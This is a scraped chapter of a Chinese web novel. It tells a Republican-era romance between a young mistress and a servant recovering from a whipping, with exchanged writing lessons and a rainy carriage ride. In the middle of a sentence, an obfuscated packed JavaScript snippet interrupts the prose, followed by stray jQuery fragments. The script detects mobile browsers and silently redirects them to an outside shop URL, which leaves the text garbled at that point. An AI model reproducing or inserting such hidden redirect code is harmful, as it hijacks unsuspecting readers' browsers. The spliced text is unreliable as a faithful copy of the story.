默认冷灰
24号文字
方正启体

11. 驭兽(01)

作者:欧气不打烊本书字数:K更新时间:
    接下来的十日,姚筝的生活轨迹依旧规律而忙碌。


    望江楼的账目、明德学堂的课程、以及她自己前往省城师范学堂进修数理化的行程,将她的时间填得满满当当。


    她像一只精准的钟摆,在几个固定的地点之间来回穿梭,脸上是惯常的清冷与专注。一位可怜员工的境遇,并不会影响她正常的工作与生活。


    而贺斩在耳房中养伤的日子,并未受到苛待。


    每日有春桃亲自送来的、利于伤口愈合的清淡菜肴;大夫也会准时随着家奴前来,仔细检查,换上新药;甚至连解闷的市井杂志、话本小说,李掌柜也体贴地差人买来,放在他的床头。


    这一切细致周到的安排,源头是谁,贺斩心知肚明。


    姚筝用行动贯彻姚家不养闲人的宗旨,贺斩自然也不愿因伤痛就此懈怠。


    他不能起身随侍,便用她教的方式与她交流。


    白天,他会强忍着背痛趴在炕边,就着窗外透进的光,用那支她赠的毛笔,在粗糙的草纸上,极其自我以为的认真的写下几个歪歪扭扭的字。遇到无论如何也想不起来、或者根本不解其意的,他就在旁边画上一个歪歪扭扭的圈。


    傍晚求着来送饭的春桃,顺便取走这些写满字和圈的纸。


    第二天清晨姚筝踩在青石板上急促有力的脚步声之后,这些纸又会回到他手中,上面那些画圈的地方,已经被朱笔细细地标注了读音和释义,字迹清秀挺拔,一如她的人。


    忠——旁边朱笔小注:尽心竭力,诚心尽力。


    界——旁边朱笔小注:界限,分际。不可越界。


    看到界字的注释时,贺斩的手指微微蜷缩了一下,背上的伤疤似乎也跟着隐隐作痛。


    他闭上眼,姚太太那冰冷的话语再次回响在耳边:“忠诚,是奴才的本分,但这忠诚,不可失了分寸,绝不能越界,绝不可肖想。”


    他明白了,用皮开肉绽的代价明白了这条规则的森严。


    奴才就是奴才,就算主子多么看得起,还是奴才。


    可当他看到姚筝在那夜之后,依旧耐心为他批注,依旧安排他的起居,他心中那点因委屈而生的寒意,又被一种更复杂的暖流所取代。


    就算是奴才,只要是她的奴才,也无怨言。


    短短十日,两人未曾见面,却凭借这字纸的往来,奇妙地维系着一种无形的联系,不仅没有生疏,反而因这特殊的笔友情结,更添了几分难以言喻的默契。


    --


    第十一日清晨,天际刚刚泛起鱼肚白,淅淅沥沥的春雨不期而至,落在屋檐窗棂上发出悦耳的声音,料峭的春寒沿着门缝侵袭进屋,沿着冰凉的石板袭击整间闺房。。


    姚筝撑着理智坐起身,感情还是胳膊搭在膝盖上手掌撑着惺忪睡眼想要借此多休息一会儿。


    以前上学因为有老师负责有家长宠爱,睡过头也就睡过头了。


    后来上班因为迟到会有惩罚,只能自己对自己负责的时候,姚筝甚至连地铁的时刻表背下来,从未迟到过。


    现在,就算她躺在大宅院落里里外外几层围墙护着她守着她,反倒更是不敢造次,彻彻底底的抛弃了慵懒和颓废,躺平更是不可能的行为。


    她收拾好今日需要处理的账册和学堂的教案,又特意将几本厚重的物理、化学课本装入书袋,下午去省城师范学堂的课程,让她不敢有丝毫懈怠——


    唉。


    重重的叹息。


    姚筝仰起头望着天花板——


    世界八大酷刑之一,让文科生靠死记硬背,学习数理化。


    唉。


    她推开房门,一股带着湿意的冷风扑面而来——


    “春桃,帮我拿件外套——”


    姚筝回身朝屋里喊了一声,就在她回过头准备走下台阶的瞬间,脚步却微微一顿。


    廊下,那道熟悉的身影已然伫立在那里。


    贺斩换上了一身浆洗得干干净净的青色粗布短褂,同色的长裤,虽然依旧朴素,却显得格外利落精神。


    他背对着她的房门,身姿挺拔如松,静静地望着院中迷蒙的雨丝,肩上衣服颜色略暗,看起来在雨中等了些时间。


    十日卧床,他的脸颊似乎清减了些,下颌的线条更加硬朗,但那双眼睛,在听到开门声转过来时,却比以往更加沉静,也更加明亮,像是被雨水洗刷过的黑曜石。


    四目相对。


    空气有瞬间的凝滞。


    雨声敲击着瓦檐和不远处的树叶,远处飞鸟扑棱着躲藏,成了此刻空旷悠远的背景音。


    啊。


    为学业烦燥的心,休止了一秒。


    姚筝看着他,目光下意识地落在他背后,虽然隔着衣物,但她仿佛能透过布料,看到那下面纵横交错尚未完全愈合的鞭痕。她的眼神微微闪动了一下,有复杂的情愫一闪而过,最终归于平静。


    贺斩在她目光扫过自己后背时,身体几不可察地绷紧了一瞬,但很快又强迫自己放松下来。


    他上前一步,动作间仍能看出一丝不易察觉的僵硬,却稳稳地撑开了手中那把半旧的油纸伞,将一片无雨的天空撑到姚筝头顶。


    “小姐,外面下雨,我送您过去。”


    他的声音低沉,带着伤后初愈的一丝沙哑与生疏,却异常坚定。


    姚筝没有说话,只是微微颔首,算是默许。


    她步入伞下,与他保持着恰到好处的距离。


    伞不算大,贺斩小心地将伞面大部分倾向她那一侧,自己的半边肩膀很快便被飘洒的雨丝打湿。


    马车早已备好。


    贺斩熟练地放好马凳,伸出胳膊做承托。


    是被姚筝咬过的胳膊。


    姚筝看着他,低头又看看被衣袖挡住的胳膊,略一迟疑,还是将自己的手掌轻轻搭了上去。


    车厢内,弥漫着一股淡淡的、混合了药材和皂角的清苦气息,是贺斩身上带来的。


    姚筝注意到,车厢的坐垫似乎比往日更厚软了些,角落里还放着一个她从未见过的、藤条编织的小小暖笼,里面依稀可见炭火的微光,驱散着雨天的湿寒。这些细微的改变,无声地诉说着贺斩的用心。


    她抿嘴一笑,还得是他。


    马车启动,辘辘驶入被春雨笼罩的街道。


    姚筝靠在车厢壁上,先是拿出望江楼的账本翻阅,偶尔提笔批注。处理完账目,她又换上了省城师范学堂的课本。那些弯弯曲曲的化学符号、复杂的物理公式,让她不由得蹙起了秀眉。她天性聪颖,于经商算学上极有天赋,但对于这些完全陌生的理化学科,也不得不付出十二分的努力。


    看了约莫半个时辰,她只觉得头昏脑涨甚至有些想呕,那些符号仿佛有着神奇的催眠能力,那些文字但凡分开都认识,偏偏合在一起就完全没有缘分。


    她烦躁地放下书,揉了揉发胀的太阳穴,忍不住轻轻叹了口气,整个人像是被抽走了力气般,软软地趴在了身旁的软垫上,胳膊撑在软垫两边,努力控制自己的脑袋不要耷拉。


    贺斩坐在车辕上,身姿挺拔如故,雨水打湿了他的鬓角和后肩,他却浑然不觉。他的耳朵始


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16709373|189253||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    终留意着车厢内的动静。听到书册滑落的轻响,和那一声几不可闻的、带着疲惫与烦恼的叹息,他下意识地回头,透过被风吹起一角的车帘缝隙,望了进去。


    恰巧一阵风过,卷动着帘幔,让他清晰地看到了车厢内的情形。


    姚筝趴在垫子上,乌黑的发丝有些凌乱地散在颊边,更衬得她肤色白皙,带着一丝倦怠的脆弱。她今日穿着一件浅碧色的斜襟上衣,领口处,那枚姚太太亲自为她戴上的、做工极其精巧的金锁吊坠,随着她趴伏的姿势,正悬在空中,微微地晃动着。金色的光芒在略显昏暗的车厢内,划出细碎而耀眼的光弧。


    那晃动的金锁,瞬间刺痛了贺斩的眼睛。


    记忆如同潮水般涌来,将他拉回到那个月色惨白血腥味弥漫的夜晚。他背上皮开肉绽,剧痛如同烈火焚身。意识模糊之际,是她坐在他身边,小心翼翼地喂他吃糖。那时,她低下头,乌黑的发丝垂落,冰凉的发梢蹭着他的脸颊,领口也是这枚金锁在他模糊的视线里,也是这样晃动着。


    “你再坚持一下,大夫马上就来了。”


    她当时的声音,带着温暖而有力的支撑,此刻仿佛又在耳边响起。奶糖的甜味,似乎再次于舌尖弥漫开来,与背脊上尚未消散的隐痛交织在一起,形成一种矛盾撕扯着他内心的感受。


    贺斩的喉结不受控制地上下滚动了一下,喉咙有些发干。一种强烈的,想要为她做点什么,驱散她此刻烦恼的冲动,促使他开了口,声音因压抑着翻腾的情绪而显得比平时更加低沉沙哑:


    “小姐,离到地方还有些时辰,您先吃点东西垫一垫吧,空腹容易头晕。”他记得春桃准备的食盒里,有李掌柜送来的千层酥。


    姚筝依旧闭着眼,闻言只是双手撑着脑袋懒懒地摇了摇头,声音带着浓浓的倦意从车厢里传来:“不行......碳水吃的太多,容易晕碳,下午的课更不能听了......”


    她说着,似乎连维持这个说话的姿势都觉得累,手腕一松,整个人更深地陷进软垫里,仿佛要将自己藏起来,逃避那些恼人的功课。


    贺斩听不懂她在说什么,但听着姚筝这副难得显露的孩子般的烦恼与无助,心头像是被什么东西轻轻撞了一下,酸软得厉害。


    他本还想再劝,可回身的刹那,目光再次掠进车厢——她毫无防备地躺在那里,腰肢纤细,身形曲线因趴伏的姿势而显得愈发清晰,衣领微松,露出一小段如玉般光滑细腻的后颈......


    血气瞬间涌上头顶,贺斩像是被烫到一般,猛地转回身,心脏在胸腔里疯狂地擂鼓,耳根不受控制地泛起红色。


    他再不敢多看车厢一眼,只能僵硬地盯着前方被雨幕模糊的街道,先前想说的话全都堵在了喉咙里,最终只化作几声低低的、带着几分慌乱和无措的诺诺:


    “您......您先歇着......下午,下午我帮您......”


    话一出口,他才意识到自己说了什么。


    帮她?他能帮她什么?那些如同天书般的符号和公式,他连看都看不懂。一股无力的沮丧感漫上心头。


    然而,车厢内的姚筝,在听到他这句笨拙的几乎不可能实现的承诺时,紧闭的眼睫却几不可察地轻轻颤动了一下,唇角似乎勾起了一个极淡极模糊的弧度,转瞬即逝。


    春日的风,裹挟着雨水的气息和道路两旁新芽破土、青草舒展的清新味道,顽皮地钻过车帘的缝隙,吹进车厢。


    姚筝用书挡着脸,看不出表情,只有声音听起来雀跃了些:“我......考虑下。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)